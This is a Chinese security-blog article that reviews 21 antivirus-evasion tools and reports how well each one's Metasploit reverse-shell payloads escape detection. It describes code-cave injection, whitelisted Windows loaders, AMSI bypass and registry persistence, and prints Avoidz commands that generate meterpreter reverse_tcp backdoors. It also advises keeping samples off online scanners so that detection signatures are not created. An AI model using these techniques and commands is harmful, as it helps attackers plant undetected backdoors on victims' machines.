一、前言
在了解了免杀的一些基础知识和 Metasploit 自带的一些免杀方式之后,我开始学习和研究市面上知名度比较高的免杀工具,从互联网上找到了大约 30 多个免杀工具,从中筛选出来了 21 个工具进行免杀测试和学习,耗时一个多月时间。
这些工具有的免杀效果也算一般,但可能只是因为发布时间长了一些,生成的 payload 都被杀软都加入了特征库,有几款工具都是在 blackhat 大会上发布的,甚至在免杀史上具有一些里程碑意义,但目前来看免杀效果也比较一般了。我们主要是学习他们的免杀原理和技巧,进而能打造自己的免杀秘术。
已完成的免杀文章及相关软件下载:https://github.com/TideSec/BypassAntiVirus
二、免杀效果概览
本文工具篇涉及的工具:Veil、Venom、Shellter、BackDoor-Factory、Avet、TheFatRat、Avoidz、Green-Hat-Suite、zirikatu、AVIator、DKMC、Unicorn、Python-Rootkit、DKMC、Unicorn、Python-Rootkit、ASWCrypter、nps_payload、GreatSCT、HERCULES、SpookFlare、SharpShooter、CACTUSTORCH、Winpayload 等。
免杀测试主要是使用了 metasploit 或 cobaltstrike 生成的代码或程序进行免杀处理,在实验机 (win7 x64) 上安装了 360 全家桶和火绒进行本地测试,在 https://www.virustotal.com/上进行在线查杀(如果是自己做免杀,建议测试机不要联互联网,更不要上传到 virustotal.com 类似的平台上)。
我从 virustotal.com 中选择了几款常见的杀软拿出来做个对比。
几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了 Bypass。 2、为了更好的对比效果,大部分测试 payload 均使用 msf 的 windows/meterperter/reverse_tcp 模块生成。 3、由于本机测试时只是安装了 360 全家桶和火绒,所以默认情况下 360 和火绒杀毒情况指的是静态 动态查杀。360 杀毒版本 5.0.0.8160(2020.01.01),火绒版本 5.0.34.16(2020.01.01),360 安全卫士 12.0.0.2002(2020.01.01)。 4、其他杀软的检测指标是在 virustotal.com(简称 VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。 5、完全不必要苛求一种免杀技术能 bypass 所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能 bypass 目标主机上的杀软就足够了。
由于每种免杀方法和工具之前都发过文章一一介绍了,这里只是做一个总结和索引,所以本文中尽量只是简要文字描述,不然的话这一篇文章可能会太超长了。
三、工具免杀
3.1 Veil 免杀 (VT 免杀率 23/71)
操作便利★★ 免杀效果★★★ 推荐指数★★★ 详细文章链接:https://mp.weixin.qq.com/s/-PHVIAQVyU8QIpHwcpN4yw
Veil、Venom 和 Shellter 是三大老牌免杀工具,虽然说人怕出名猪怕壮,但目前这几款免杀工具在扩展性和免杀能力方面依然有着不错的表现。Veil 可以生成基于 c、go、ruby、python、c#、perl、powershell 等格式的 payload,这点来说绝对强于其他绝大部分免杀工具。
Veil 是一个用 python 写的免杀框架,可以将任意脚本或一段 shellcode 转换成 Windows 可执行文件,还能利用 Metasploit 框架生成相兼容的 Payload 工具,从而逃避了常见防病毒产品的检测。
Veil 的手工安装比较费劲,好在有 docker 镜像,可以直接 pull 回本地安装使用。
3.1.1 使用 veil 直接生成 exe(VT 查杀率 44/70)
veil 可以直接生成支持 msf 的 payload。测试时使用 go 语言生成 msf 的 payload。
在测试主机执行 go_msf.exe,msf 中可上线。virustotal.com 中 44/71 个报毒
虽然查杀率还比较高,不过火绒和 360 都能静态 动态免杀。比较遗憾的是生成的 exe 文件比较大,go 语言生成的 exe 大约 2M,python 生成的 exe 大约 4M,ruby 生成的 exe 大约 700K,相比 msf 原生态的 exe 大打多了。
3.1.2 使用 veil mingw-w64(VT 查杀率 23/71)
先用 veil 生成一个可以被 msf 利用的 c_msf.c 然后用 mingw-w64 来编译
全程开启 360 卫士和杀毒以及火绒,编译、运行、上线都没有问题。
virustotal.com 中 23/71 个报毒
3.2 Venom 免杀 (VT 免杀率 11/71)
操作便利★★ 免杀效果★★★★ 推荐指数★★★★ 详细文章链接:https://mp.weixin.qq.com/s/CbfxupSWEPB86tBZsmxNCQ
Venom 利用 msfvenom(metasploit)生成不同的格式的 shellcode,如(c | python | ruby | dll | msi | hta-psh)等,然后将生成的 shellcode 注入一个模板(例如:python),并使用类似 gcc、mingw32 或 pyinstaller 之类的编译器生成可执行文件。
Venom 的一些功能还会直接调用 Veil-Evasion.py,unicorn.py,powersploit.py 等来直接创建免杀程序,避免重复造轮子。
经测试,使用 venom 生成 exe 后门,virustotal.com 中 19/71 个报毒
使用 venom 生成 dll 后门,virustotal.com 中 11/70 个报毒,而且能过微软和卡巴。
在 venom 生成编译的过程中可以看到他生成的 shellcode 其实是直接调用的 msfvenom,而且在最后也可以和 msf 联动进行监听,还支持 apache 的 web 分发,很多模块都能和 msf 无缝对接,虽然被杀软盯的紧但免杀体验还是不错的。
3.3 Shellter 免杀 (VT 免杀率 7/69)
操作便利★★★★★ 免杀效果★★★★★ 推荐指数★★★★★ 详细文章链接:https://mp.weixin.qq.com/s/ASnldn6nk68D4bwkfYm3Gg
Shellter 是一个开源的免杀工具,利用动态 Shellcode 注入或者命令来实现免杀的效果。
Shellter 安装非常简单,使用也非常便捷,而且生成的 payload 免杀效果也都比较好,windows 和 linux 下都可以使用,实在是居家旅行必备良药。我是用的自动模式进行生产 payload, 你可以根据自己的需要进行手动配置,这样生成的 payload 免杀效果会更好。
因为 Shellter 生成的 shellcode 是动态的,所以被查杀的几率也有所不同,测试过几次自动化生成的 payload,最好的秒杀效果是 4/71,最差的 15/70,整体来说也算不错了。
我就直接用 kali 自带的 shellter 进行演示,需要提前准备一个 pe 文件作为被注入程序。
还是选择 windows/meterpreter/reverse_tcp 作为 payload
全程自动化生成,最终的生成文件会替换原来的 putty.exe。
在测试机中执行生成的 putty.exe,360 和火绒均可免杀
msf 正常上线,virustotal.com 中 7/69 个报毒,卡巴、瑞星、微软三个都没 bypass。。
3.4 BackDoor-Factory 免杀 (VT 免杀率 13/71)
操作便利★★ 免杀效果★★★★★ 推荐指数★★★★★ 详细文章链接:https://mp.weixin.qq.com/s/A30JHhXhwe45xV7hv8jvVQ
BackDoor-factory,又称后门工厂 (BDF),BDF 是也是一款老牌的免杀神器,其作者曾经在 2015 年的 blackhat 大会上介绍过该工具。该工具还有很强大的一些其他功能,比如加私钥证书、CPT 等等。但是作者已经于 2017 年停止更新,免杀效果就算现在来看也还算不错的。
利用 backdoor-factory,用户可以在不破坏原有可执行文件的功能的前提下,在文件的代码裂隙中插入恶意代码 Shellcode。当可执行文件被执行后,就可以触发恶意代码。Backdoor Factory 不仅提供常用的脚本,还允许嵌入其他工具生成的 Shellcode,如 Metasploit。
原理:可执行二进制文件中有大量的 00, 这些 00 是不包含数据的, 将这些数据替换成 payload, 并且在程序执行的时候,jmp 到代码段, 来触发 payload。backdoor-factory 是把 shellcode 插入到一个正常的 exe 文件的代码”缝隙”中,类似于捆绑但不是捆绑,所以需要提前准备一个被捆绑的宿主 exe 文件。
当使用 BackDoor-Factory 直接生成免杀后门时,virustotal.com 中 13/69 个报毒。
还可以使用自己定义的 shellcode,virustotal.com 中 14/71 个报毒
3.5 Avet 免杀 (VT 免杀率 17/71)
操作方便★★ 免杀效果★★★★ 推荐指数★★★★ 详细文章链接:https://mp.weixin.qq.com/s/EIfqAbMC8HoC6xcZP9SXpA
Avet 全称 AntiVirus Evasion Tool,2017 年在 blackhat 大会上公开演示,可对 shellcode,exe 和 dll 等多种载荷进行免杀处理,使用了多种不同的免杀技术,具有较好的免杀效果,据说在 blackhat 大会上演示时免杀效果震撼全场。
生成的 payload 在 virustotal.com 中 17/71 个报毒
可能是因为知名度太高,默认输出的 payload 免杀能力只能算是一般,测试了几个模块,最好的免杀是 13/71,最差的是 36/71,不过相比 msf 原生的免杀已经好很多了。
而且 Avet 提供了强大的自定义功能,在 build 文件夹下可以看到所有的 payload 生成脚本,很多参数都可以自己设定。Avet 框架也是比较成熟的,可以轻松的进行二次开发,很容易能开发出来自己的专用免杀工具。
3.6 TheFatRat 免杀 (VT 免杀率 22/70)
操作便利★★ 免杀效果★★★★ 推荐指数★★★★ 详细文章链接:https://mp.weixin.qq.com/s/zOvwfmEtbkpGWWBn642ICA
TheFatRat 创建的后门或者 payload,可以在 Linux,Windows,Mac 和 Android 上等多种平台上执行,可生成 exe、apk、sh、bat、py 等多种格式。TheFatRat 可以和 msf 无缝对接,并且集成内置了 Fudwin、Avoid、backdoor-factory 等多个免杀工具,对 powershell 的免杀姿势尤其多样。
TheFatRat 创建的后门格式和支持的平台比较多样化,而且还支持生成 CDROM/U 盘中能自动运行 (生成 AutoRun 文件) 的后门文件,并且可以对 payload 更改图标,具有一定伪装效果。
使用 TheFatRat 生成 ps1-exe,virustotal.com 中 22/70 个报毒
使用 TheFatRat 生成加壳 exe,virustotal.com 中 12/70 个报毒
使用 TheFatRat 编译 C# powershell 生成 exe,virustotal.com 中 37/71 个报毒
TheFatRat 的很多免杀方式是借助于 msfvenom 编码、upx 等加壳压缩、c/c# 编译等将 powershell 混淆后编译成 exe 或 bat 文件,但有些在执行时还是会调用 powershell,而 powershell 的调用已经被各大杀软盯的很紧了,所以查杀效果只能算是一般了。
3.7 Avoidz 免杀 (VT 免杀率 23/71)
操作便利★★ 免杀效果★★★ 推荐指数★★★ 详细文章链接:https://mp.weixin.qq.com/s/TnfTXihlyv696uCiv3aWfg
avoidz 是一个比较使用比较简单的小工具,利用 msf 生成 powershell 的 shellocde,然后利用 c#、python、go、ruby 等语言对 shellcode 进行编译生成 exe 而达到免杀的效果,套路比较简单,静态检测查杀率还算可以,但行为检测就很容易被查杀出来,和 TheFatRat 具有相同的缺陷。倒是可以借鉴下他的原理,自己写个免杀工具。
使用 avoidz 编译 C# 生成 exe(VT 免杀率 23/68)
提供 3 种 C 代码编译成 exe 的方式,想了解详情的可以 cat avoidz.rb 查看具体区别。
我以第一种为例进行测试
代码语言:javascript复制./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f c1
执行后可正常上线。开启杀软进行测试,静态测试没问题,行为检测马上露馅。
virustotal.com 中 23/68 个报毒
使用 avoidz 编译 python 生成 exe(VT 免杀率 11/68)
使用 python 生成 exe 文件
./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f py
静态查杀没问题,行为检测依旧被拦
virustotal.com 中 11/68 个报毒
使用 avoidz 编译 golang 生成 exe(VT 免杀率 23/71)
使用 go 生成 exe 文件
./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f go
go 版本的静态查杀都没通过,行为检测依据被拦
virustotal.com 中 23/71 个报毒
3.8 Green-Hat-Suite 免杀 (VT 免杀率 23/70)
操作便利★★★★ 免杀效果★★★★ 推荐指数★★★★ 详细文章链接:https://mp.weixin.qq.com/s/MVJTXOIqjgL7iEHrnq6OJg
Green-Hat-Suite 是国内大佬 Green-m 的大作,Green-m 大佬在 freebuf 和自己博客上 https://green-m.me/写了很多免杀相关的文章,开始的几篇文章里面有一些知识点就是从他那学到的,而且 msfvenom 命令自动补全脚本也是出自他之手,之前有的知识点写的不太准备大佬也热情的给予指正,万分感谢!
Green-Hat-Suite 也是和 msf 无缝对接的免杀工具,使用 ruby 开发,可在 linux/windows 上安装,使用非常简单,虽然已经接近两年没有更新了,但目前来看免杀效果仍然很不错。
virustotal.com 中 23/70 个报毒
Green-Hat-Suite 调用了 msfvenom 进行随机编码生成 shellcode,然后 Green-Hat-Suite 对 shellcode 进行多重免杀处理混淆,并最终编译生成不同的 exe 后门文件。虽然原理不算复杂,但两年前的作品,至今来说免杀效果仍很不错。
3.9 zirikatu 免杀 (VT 免杀率 39/71)
操作便利★★★★ 免杀效果★★ 推荐指数★★ 详细文章链接:https://mp.weixin.qq.com/s/5xLuu5UfF4cQbCq_6JeqyA
zirikatu 是一个用 bash 编写的小脚本,依赖于 msf、mono、mcs 等软件,也是调用 msfvenom 生成 shellcode, 然后将 shellcode 嵌入 C# 代码,试用 Mcs 编译生成 exe 后门。
Mono 可以让.NET 程序跨平台运行在 Linux,BSD,Windows,MacOS,Sun Solaris,Wii, 索尼 PlayStation, 苹果 iPhone 等几乎所有常见的操作系统之上。从 Mono2.11 版本开始,采用的编译器叫 mcs,它的作用是将 C# 编译为 CIL(Common Language Infrastructure,通用中间语言,也叫 MSIL 微软中间语言,这个语言能运行在所有支持 CIL 的环境中)
virustotal.com 中 39/71 个报毒
zirikatu 利用 msfvenom 生成 shellcode,之后再进行一定处理,编译生成 exe。原理比较简单,操作比较方便,免杀效果相比 Green-Hat-Suite 来说虽然一般,但能过 360、火绒和瑞星的确有点出人意料。
3.10 AVIator 免杀 (VT 免杀率 25/69)
操作便利★★★★ 免杀效果★★★ 推荐指数★★★ 详细文章链接:https://mp.weixin.qq.com/s/JYMq_qHvnslVlqijHNny8Q
AVIator 使用 AES 加密来加密给定的 Shellcode 加密,生成一个包含加密有效负载的可执行文件,然后使用各种注入技术将 shellcode 解密并注入到目标系统,从而绕过杀毒软件的检测。
virustotal.com 中 25/69 个报毒
AVIator 使用非常简单,小巧便携。可以将 shellcode 注入 explorer、notepad 或其他自定义程序,免杀效果还算可以,能过 360 杀毒和火绒动态和静态检测,瑞星静态查杀也可通过。
3.11 DKMC 免杀 (VT 免杀率 8/55)
操作便利★★★ 免杀效果★★★★ 推荐指数★★★ 详细文章链接:https://mp.weixin.qq.com/s/UZqOBQKEMcXtF5ZU7E55Fg
DKMC 是 Don’t Kill My Cat (DKMC) 的简称,谷歌翻译为”不要杀害我的小猫咪”,这个名字也是挺少女心的…DKMC 是一种生成混淆的 shellcode 的工具,并把 shellcode 合成到图像文件中,最终依靠 PowerShell 执行最终的 shellcode 有效负载。
virustotal.com 上 BMP 文件的查杀率为 5/55,查杀出来为 BMP 木马
virustotal.com 上 ps 代码的查杀率为 8/55,判断 ps 下载行为。
DKMC 主要把 shellcode 注入到 bmp 图像中,然后使用 powershell 来执行其中的 shellcode,但是很多杀软都会监测 powershell 的执行动作,所以 virustotal.com 的静态检测不足以说明什么。
3.12 Unicorn 免杀 (VT 免杀率 29/56)
操作便利★★★★ 免杀效果★★★ 推荐指数★★★ 详细文章链接:https://mp.weixin.qq.com/s/y7P6bvHRFes854EAHAPOzw
Magic Unicorn 是一个比较简单的小工具,主要是基于 Matthew Graeber 提出的 PowerShell 攻击技术以及 David Kennedy 和 Josh Kelly 提出的 powershell bypass 技术,把所有 payload 都转换成 powershell 代码。
Magic Unicorn 支持 cobalt strike、Metasploit 和自定义的 shellcode。
virustotal.com 上 ps1.exe 文件的查杀率为 36/69,转 exe 后略微有点惨。
生成了一个 hta 文件进行测试,virustotal.com 上查杀率为 29/56
Unicorn 使用比较简单,可以生成 powershell 代码、macro 宏代码、hta、dde 等格式的 payload 文件,可以在社工时直接使用,不过因为生成的代码关键字比较明显,所以静态查杀很多都没通过,只能说生成代码多样但免杀效果一般。
3.13 Python-Rootkit 免杀 (VT 免杀率 7/70)
操作便利★★ 免杀效果★★★★ 推荐指数★★★★ 详细文章链接:https://mp.weixin.qq.com/s/OzO8hv0pTX54ex98k96tjQ
Python-Rootkit,2017 年开源的一款工具,当时号称 Bypass all anti-virus,主要是对 python 代码进行多次编码,然后利用 py2exe 把 python 代码打包成 exe,其实最终执行的是 powershell 命令,使用了 PowerSploit 的 Invoke-Shellcode.ps1 来反弹 msf 的 shell。
程序还添加了后门持续化的功能,大体就是 10 秒钟检测一次连接是否正常,如果连接不存在就再重连 msf,另外还使用了注册表添加了自启动项。
virustotal.com 上查杀率为 7/69,如果有动态检测,估计这个查杀率会非常高。
Python-Rootkit 在测试中因为 msf5 一直没法上线折腾了很长时间,官方 issue 居然没有反馈这个问题的,后来调试了半天发现是 Invoke-Shellcode.ps1 和 msf 的问题。
免杀效果整体感觉一般,还是 python 生成 exe,执行后调用 powershell 下载 Invoke-Shellcode.ps1,然后反弹 shell,应该很容易触发杀软的行为检测。
3.14 ASWCrypter 免杀 (VT 免杀率 19/57)
操作便利★★★★ 免杀效果★★★ 推荐指数★★★ 详细文章链接:https://mp.weixin.qq.com/s/tT1i55swRWIYiEdxEWElSQ
ASWCrypter 是 2018 年开源的免杀工具,原理比较简单,使用 msf 生成 hta 代码,然后使用 python 脚本对 hta 代码进行一定编码处理,生成新的 hta 后门文件,从而达到免杀效果。
生成 hta 后门文件,virustotal.com 上查杀率为 19/57
ASWCrypter 是使用 msfvenom 生成基于 powershell 的 hta 后门文件,然后进行编码处理,达到一定的免杀效果,不过因为会调用 powershell,行为检测还是很容易被检测出来。
3.15 nps_payload 免杀 (VT 免杀率 3/57)
操作便利★★★★ 免杀效果★★★★ 推荐指数★★★★ 详细文章链接:https://mp.weixin.qq.com/s/XmSRgRUftMV3nmD1Gk0mvA
nps_payload 是 2017 年开源的工具,安装使用都比较简单,nps_payload 可以生成基于 msbuild 的 xml 文件和独立执行的 hta 文件,并对 xml 文件和 hta 文件做了一定的混淆免杀,从而达到免杀的效果。
Microsoft Build Engine 是一个用于构建应用程序的平台,此引擎也被称为 msbuild,它为项目文件提供一个 XML 模式,该模式控制构建平台如何处理和构建软件。Visual Studio 使用 MSBuild,但它不依赖于 Visual Studio。通过在项目或解决方案文件中调用 msbuild.exe,可以在未安装 Visual Studio 的环境中编译和生成程序。
使用 nps_payload 生成的 hta 文件,virustotal.com 上查杀率为 7/57
nps_payload 只是使用了白名单 msbuild.exe 方法,nps_payload 还对生成的文件进行了混淆处理,使用非常简单,免杀效果也是不错的。
3.16 GreatSCT 免杀 (VT 免杀率 14/56)
操作便利★★★★ 免杀效果★★★ 推荐指数★★★★ 详细文章链接:https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ
GreatSCT 可以基于 Metasploit、自定义 shellcode、powershell 等生成 payload,然后可利用多种白名单程序进行加载,从而达到免杀的目的。
支持的 6 种白名单方式:
1、Installutil.exe:安装程序工具是一款命令行工具,允许您通过运行安装程序组件来安装和卸载特定程序集中的服务器资源。 2、Msbuild.exe:Microsoft Build Engine 是一个用于构建应用程序的平台。这个引擎,也称为 MSBuild。 3、Mshta.exe:Mshta.exe 运行 Microsoft HTML 应用程序,Windows OS 实用程序负责运行 HTA(HTML 应用程序)文件。我们可以运行 JavaScript 或 Visual 的 HTML 文件。 4、Regasm.exe:程序集注册工具读取程序集内的元数据,并将必要的记录添加到注册表中, 从而允许 COM 客户端透明地创建.NET 框架类。 5、Regsvcs.exe:RegSvcs 表示 Microsoft .NET 远程注册表服务,它以.NET 服务安装著称。 6、Regsvr 32.exe:Regsvr 32 是一个命令行实用程序,用于在 Windows 注册表中注册和取消注册 OLE 控件,例如 DLL 和 ActiveX 控件。
生成基于白名单 Msbuild.exe 的文件,virustotal.com 上 payload.xml 文件查杀率为 14/56
生成单个可执行 payload.exe 文件,virustotal.com 上查杀率为 30/69,这个 exe 文件查杀率略高。
GreatSCT 由于是基于白名单的文件加载,所以生成的.xml 或.dll 之类免杀效果比较好,而.exe 文件免杀效果就比较一般了,所以可以根据具体情境去结合使用。GreatSCT 提供了 6 中白名单方式,综合免杀效果还算可以。
3.17 HERCULES 免杀 (VT 免杀率 29/70)
操作便利★★ 免杀效果★★★ 推荐指数★★★ 详细文章链接:https://mp.weixin.qq.com/s/Rkr9lixzL4tiL89r10ndig
HERCULES,2017 年的免杀工具,可以直接生成 msf 可用的 payload 并进行免杀,也可以对自定义 payload 进行免杀,还可以进行后门文件捆绑,并可进行 upx 加壳,使用比较简单,但安装可能遇到不少问题。
HERCULES 也是和 msf 无缝对接的免杀工具,免杀相对也比较简单一些,具体免杀的实现可以查看 HERCULES/src/EGESPLOIT/RSE/BypassAV.go 文件,使用了传统的添加花指令的方式进行免杀。
virustotal.com 上查杀率为 29/70
HERCULES 免杀原理相对简单,对 payload 添加无用代码和多次跳转的方式进行免杀处理,从实际测试来看免杀效果只能说是一般,据官方演示在 2017 年的时候免杀效果应该很棒。可以对其免杀代码进行定制化修改,做成自己轮子工具,别往 virustotal.com 上传,这样被查杀概率也会小一些。
3.18 SpookFlare 免杀 (VT 免杀率 16/67)
操作便利★★★★ 免杀效果★★★★ 推荐指数★★★★ 详细文章链接:https://mp.weixin.qq.com/s/LfuQ2XuD7YHUWJqMRUmNVA
SpookFlare,2018 年开源的工具,目前还在更新,使用了多种方式进行 bypass。可直接生成基于 Meterpreter、Empire、Koadic 等平台的的 shellcode,并对代码进行混淆、二次编码、随机填充字符串等,从而达到较好的免杀效果。
SpookFlare 支持生成 4 类 payload,分别是 msf 的 exe 程序 (需要自己编译)、msf 的 ps1 脚本 (做了免杀混淆)、hta 文件、office 宏代码。
生成 exe 文件,virustotal.com 上查杀率为 16/67,在 exe 里面能算一般以上了。
SpookFlare 使用了多种方式进行免杀,exe 的免杀可能效果不算太出色,但是对 powershell 脚本和 hta 文件等的免杀做的还是不错的,基本静态查杀都能 bypass。
3.19 SharpShooter 免杀 (VT 免杀率 22/57)
操作便利★★★★ 免杀效果★★ 推荐指数★★★ 详细文章链接:https://mp.weixin.qq.com/s/EyvGfWXLbxkHe7liaNFhGg
Sharpshooter,2018 年开源的工具,知名度较高,基于 python2 开发,是比较专业的 Payload 生成框架,支持反沙箱、分阶段和无阶段的 Payload 执行,并能够生成 hta、js、jse、vba、vbe、vbs、wsf 等多种格式的 payload,创建的 Payload 可用于编译执行任意 C# 源代码。Sharpshooter 还能对 Payload 使用随机密钥进行 R S A 加密,还能检测沙箱,从而避开杀软的检测。
生成 hta 后门文件,virustotal.com 上查杀率为 22/57
SharpShooter 算是比较复杂的一个框架,支持多种 payload,能在.NET 框架的 v2、v3 和 v4 版本上都能执行,涵盖了绝大部分的 Windows 系统。但也因为 SharpShooter 的知名度比较高,默认生成的 payload 已经被查杀的比较严重,但其实现方式和思路是比较值得人学习的。
而且在 2019 年 1 月 Sharpshooter 加入了 AMSI 的 bypass 模板,使用参数—amsi amsienable 可以使用该模块来 Kill 掉 AMSI,感兴趣的可以试一下。
3.20 CACTUSTORCH 免杀 (VT 免杀率 23/57)
操作便利★★★★ 免杀效果★★ 推荐指数★★★ 详细文章链接:https://mp.weixin.qq.com/s/g0CYvFMsrV7bHIfTnSUJBw
在 2017 年 4 月由 James Forshaw 开源了一个工具 DotNetToJScript,能够利用 JS 或者 Vbs 等脚本加载.Net 程序。在 DotNetToJScript 发布后,有几款工具根据其原理开发出来,比如 CACTUSTORCH、SharpShooter、StarFighters 等等。
而 CACTUSTORCH 和 SharpShooter 都同一个组织开发,2017 年发布,主要使用 vbs 或 js 执行 C# 的二进制 payload,提供多种方式绕过杀软,支持 js、vbs、vbe、vba、hta 等多种格式,还提供了支持 Cobalt Strike 的 cna 文件。
CACTUSTORCH 生成的脚本可以用于执行 C# 的二进制文件,CACTUSTORCH 在免杀方面有以下几个特性:
1、在 payload 中不使用 Kernel32 API 声明,避免被杀软检测 2、可以在 C#二进制内机械能混淆 3、可任意指定目标二进制程序进行注入 4、允许指定任意 shellcode 5、不产生 PowerShell.exe 6、不需要 Powershell 7、不需要 office 8、不调用 WScript.Shell 9、不需要分段,因为完整的无阶段 shellcode 可以包含在传送的 payload 内 10、没有静态父对子进行生成,用户可以更改 wscript.exe 生成的内容
以生成 js 脚本为例进行测试,virustotal.com 上查杀率为 27/57,这个查杀率还是挺高的。
生成 vbs 脚本,virustotal.com 上查杀率为 23/57
因为 CACTUSTORCH 也是基于 DotNetToJScript 来实现免杀的工具,同类工具里知名度比较高,所以被查杀的有些惨不忍睹,不过能直接过 360 和火绒也算一个小亮点了。杀软查杀其脚本主要是里面很多代码关键字都被列入了特征字符,感兴趣的可以尝试修改其脚本代码做二次免杀。
3.21 Winpayloads 免杀 (VT 免杀率 18/70)
操作便利★★
免杀效果★★★★
推荐指数★★★★
详细文章链接:https://mp.weixin.qq.com/s/YTXT31mCOWhMZEbCg4Jt0w
Winpayloads,2019 年开源的免杀 payload 生成工具,可以和 Msf 无缝对接,自身也可以作为独立远控软件来试用。主要是使用 python 对 shellcode 进行处理,然后编译成 exe 文件,从而达到免杀的效果。
Winpayloads 的常规安装比较复杂,依赖的软件比较多,需要安装 winbind、impacket、Wine、wine32、Pywin32、pyinstaller、PsexecSpray、pycrypto 等等,所以官方后来直接把常规安装给去掉了,直接建议使用 docker,docke 安装起来就非常简单了。
生成独立可执行后门 exe 文件,virustotal.com 平台查杀率也为 18/70
Winpayloads 使用比较简便,生成的 payload 免杀效果也是不错的,使用了多种技术来免杀和实施后渗透,唯一的缺点就是生成的 payload 都有点偏大,大约 2.7M 左右。
四、工具篇小结
工具篇主要是对 21 款免杀工具进行了学习和研究,虽然过程比较枯燥,但的确学到了很多东西,有些软件使用了比较简单的技巧但免杀效果却非常好。
比如使用了程序”缝隙”插入技术的 Shellter 和 BackDoor-Factory,免杀效果也很不错;
还有一些使用了白名单技术的工具,如 nps_payload、GreatSCT、Evasion 等工具,对 xml 或 hta 等进行免杀处理,然后使用白名单程序进行执行。
还有一些是对 powershell 进行免杀,如 veil、Venom、Unicorn、DKMC、Unicorn、SpookFlare 等,对 ps1 代码的处理方式也是百花齐放。
还有使用了 python、go 等代码嵌入处理 payload 然后编译 exe 的,比如 Venom、avet、BackDoor-Factory、Python-Rootkit、HERCULES、Winpayloads 等等。
通过研究学习这些免杀工具,从而揭开免杀工具的神秘面纱,之后你会发现其实自己做一个通用的免杀工具也不是太难,下一步打算向 Green-m 大佬学习,也能自己写一个免杀工具。
PS:测完这 21 个工具,估计我在 virustotal.com 平台上贡献了不下于 500 个样本,各大杀软的感谢信就算了,别发律师函就行。所以特别嘱咐一下,自己做免杀的时候千万不要上传在线检测平台,可能你传上去的时候没有杀软能查杀,但几个小时候后可能就有能查杀的了。
*本文原创作者:重剑无锋,本文属FreeBuf原创奖励计划,未经许可禁止转载